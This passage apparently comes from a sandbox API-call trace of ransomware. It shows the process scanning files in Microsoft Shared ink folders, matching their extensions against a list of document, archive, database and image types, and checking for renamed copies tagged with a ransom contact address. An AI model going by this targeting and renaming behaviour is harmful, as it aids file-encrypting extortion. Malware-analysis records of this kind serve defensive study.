(lpString1=".jpg", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString=".doc") returned 4 [0065.780] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString=".docx") returned 5 [0065.780] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.780] lstrlenW (lpString=".pdf") returned 4 [0065.780] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString=".xls") returned 4 [0065.780] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString=".xlsx") returned 5 [0065.780] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.780] lstrlenW (lpString=".ppt") returned 4 [0065.780] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString=".zip") returned 4 [0065.780] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.780] lstrlenW (lpString=".rar") returned 4 [0065.780] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString=".bz2") returned 4 [0065.780] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString=".7z") returned 3 [0065.780] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString=".dbf") returned 4 [0065.780] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString=".1cd") returned 4 [0065.780] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.780] lstrlenW (lpString=".jpg") returned 4 [0065.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.781] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.781] lstrlenW (lpString="Content.xml") returned 11 [0065.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.781] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=27045) returned 1 [0065.781] CloseHandle (hObject=0x354) returned 1 [0065.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0065.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.782] lstrlenW (lpString=".doc") returned 4 [0065.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString=".docx") returned 5 [0065.782] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.782] lstrlenW (lpString=".pdf") returned 4 [0065.782] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString=".xls") returned 4 [0065.782] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString=".xlsx") returned 5 [0065.782] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.782] lstrlenW (lpString=".ppt") returned 4 [0065.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.782] lstrlenW (lpString=".zip") returned 4 [0065.782] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.782] lstrlenW (lpString=".rar") returned 4 [0065.782] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString=".bz2") returned 4 [0065.782] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.782] lstrlenW (lpString=".7z") returned 3 [0065.782] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.782] lstrlenW (lpString=".dbf") returned 4 [0065.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString=".1cd") returned 4 [0065.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString=".jpg") returned 4 [0065.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString=".doc") returned 4 [0065.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString=".docx") returned 5 [0065.783] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.783] lstrlenW (lpString=".pdf") returned 4 [0065.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString=".xls") returned 4 [0065.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString=".xlsx") returned 5 [0065.783] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.783] lstrlenW (lpString=".ppt") returned 4 [0065.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString=".zip") returned 4 [0065.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.783] lstrlenW (lpString=".rar") returned 4 [0065.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString=".bz2") returned 4 [0065.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.783] lstrlenW (lpString=".7z") returned 3 [0065.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.783] lstrlenW (lpString=".dbf") returned 4 [0065.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.784] lstrlenW (lpString=".1cd") returned 4 [0065.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0065.784] lstrlenW (lpString=".jpg") returned 4 [0065.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.784] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.784] lstrlenW (lpString="boxed-correct.avi") returned 17 [0065.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.785] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=111320) returned 1 [0065.785] CloseHandle (hObject=0x354) returned 1 [0065.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0065.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.786] lstrlenW (lpString=".doc") returned 4 [0065.786] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".docx") returned 5 [0065.786] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0065.786] lstrlenW (lpString=".pdf") returned 4 [0065.786] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".xls") returned 4 [0065.786] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".xlsx") returned 5 [0065.786] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0065.786] lstrlenW (lpString=".ppt") returned 4 [0065.786] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.786] lstrlenW (lpString=".zip") returned 4 [0065.786] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".rar") returned 4 [0065.786] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".bz2") returned 4 [0065.786] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.786] lstrlenW (lpString=".7z") returned 3 [0065.786] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.786] lstrlenW (lpString=".dbf") returned 4 [0065.786] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString=".1cd") returned 4 [0065.787] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString=".jpg") returned 4 [0065.787] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString=".doc") returned 4 [0065.787] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".docx") returned 5 [0065.787] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0065.787] lstrlenW (lpString=".pdf") returned 4 [0065.787] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".xls") returned 4 [0065.787] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".xlsx") returned 5 [0065.787] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0065.787] lstrlenW (lpString=".ppt") returned 4 [0065.787] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString=".zip") returned 4 [0065.787] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".rar") returned 4 [0065.787] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".bz2") returned 4 [0065.787] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.787] lstrlenW (lpString=".7z") returned 3 [0065.787] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.787] lstrlenW (lpString=".dbf") returned 4 [0065.787] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.788] lstrlenW (lpString=".1cd") returned 4 [0065.788] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0065.788] lstrlenW (lpString=".jpg") returned 4 [0065.788] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.788] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.788] lstrlenW (lpString="boxed-delete.avi") returned 16 [0065.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.788] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=48936) returned 1 [0065.788] CloseHandle (hObject=0x354) returned 1 [0065.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0065.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString=".doc") returned 4 [0065.789] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".docx") returned 5 [0065.789] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0065.789] lstrlenW (lpString=".pdf") returned 4 [0065.789] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".xls") returned 4 [0065.789] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".xlsx") returned 5 [0065.789] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0065.789] lstrlenW (lpString=".ppt") returned 4 [0065.789] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString=".zip") returned 4 [0065.789] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".rar") returned 4 [0065.789] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".bz2") returned 4 [0065.789] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString=".7z") returned 3 [0065.789] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString=".dbf") returned 4 [0065.789] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString=".1cd") returned 4 [0065.789] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.789] lstrlenW (lpString=".jpg") returned 4 [0065.789] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString=".doc") returned 4 [0065.790] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".docx") returned 5 [0065.790] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0065.790] lstrlenW (lpString=".pdf") returned 4 [0065.790] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".xls") returned 4 [0065.790] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".xlsx") returned 5 [0065.790] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0065.790] lstrlenW (lpString=".ppt") returned 4 [0065.790] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString=".zip") returned 4 [0065.790] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".rar") returned 4 [0065.790] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".bz2") returned 4 [0065.790] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString=".7z") returned 3 [0065.790] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString=".dbf") returned 4 [0065.790] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString=".1cd") returned 4 [0065.790] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0065.790] lstrlenW (lpString=".jpg") returned 4 [0065.790] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.791] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.791] lstrlenW (lpString="boxed-join.avi") returned 14 [0065.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.791] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=46622) returned 1 [0065.791] CloseHandle (hObject=0x354) returned 1 [0065.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0065.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.792] lstrlenW (lpString=".doc") returned 4 [0065.792] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".docx") returned 5 [0065.792] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.792] lstrlenW (lpString=".pdf") returned 4 [0065.792] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".xls") returned 4 [0065.792] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".xlsx") returned 5 [0065.792] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.792] lstrlenW (lpString=".ppt") returned 4 [0065.792] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.792] lstrlenW (lpString=".zip") returned 4 [0065.792] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".rar") returned 4 [0065.792] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".bz2") returned 4 [0065.792] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.792] lstrlenW (lpString=".7z") returned 3 [0065.793] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString=".dbf") returned 4 [0065.793] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString=".1cd") returned 4 [0065.793] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString=".jpg") returned 4 [0065.793] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString=".doc") returned 4 [0065.793] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".docx") returned 5 [0065.793] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.793] lstrlenW (lpString=".pdf") returned 4 [0065.793] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".xls") returned 4 [0065.793] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".xlsx") returned 5 [0065.793] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.793] lstrlenW (lpString=".ppt") returned 4 [0065.793] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.793] lstrlenW (lpString=".zip") returned 4 [0065.793] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".rar") returned 4 [0065.793] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".bz2") returned 4 [0065.793] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.793] lstrlenW (lpString=".7z") returned 3 [0065.794] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.794] lstrlenW (lpString=".dbf") returned 4 [0065.794] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.794] lstrlenW (lpString=".1cd") returned 4 [0065.794] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0065.794] lstrlenW (lpString=".jpg") returned 4 [0065.794] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.794] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.794] lstrlenW (lpString="boxed-split.avi") returned 15 [0065.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.794] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=84190) returned 1 [0065.794] CloseHandle (hObject=0x354) returned 1 [0065.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0065.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 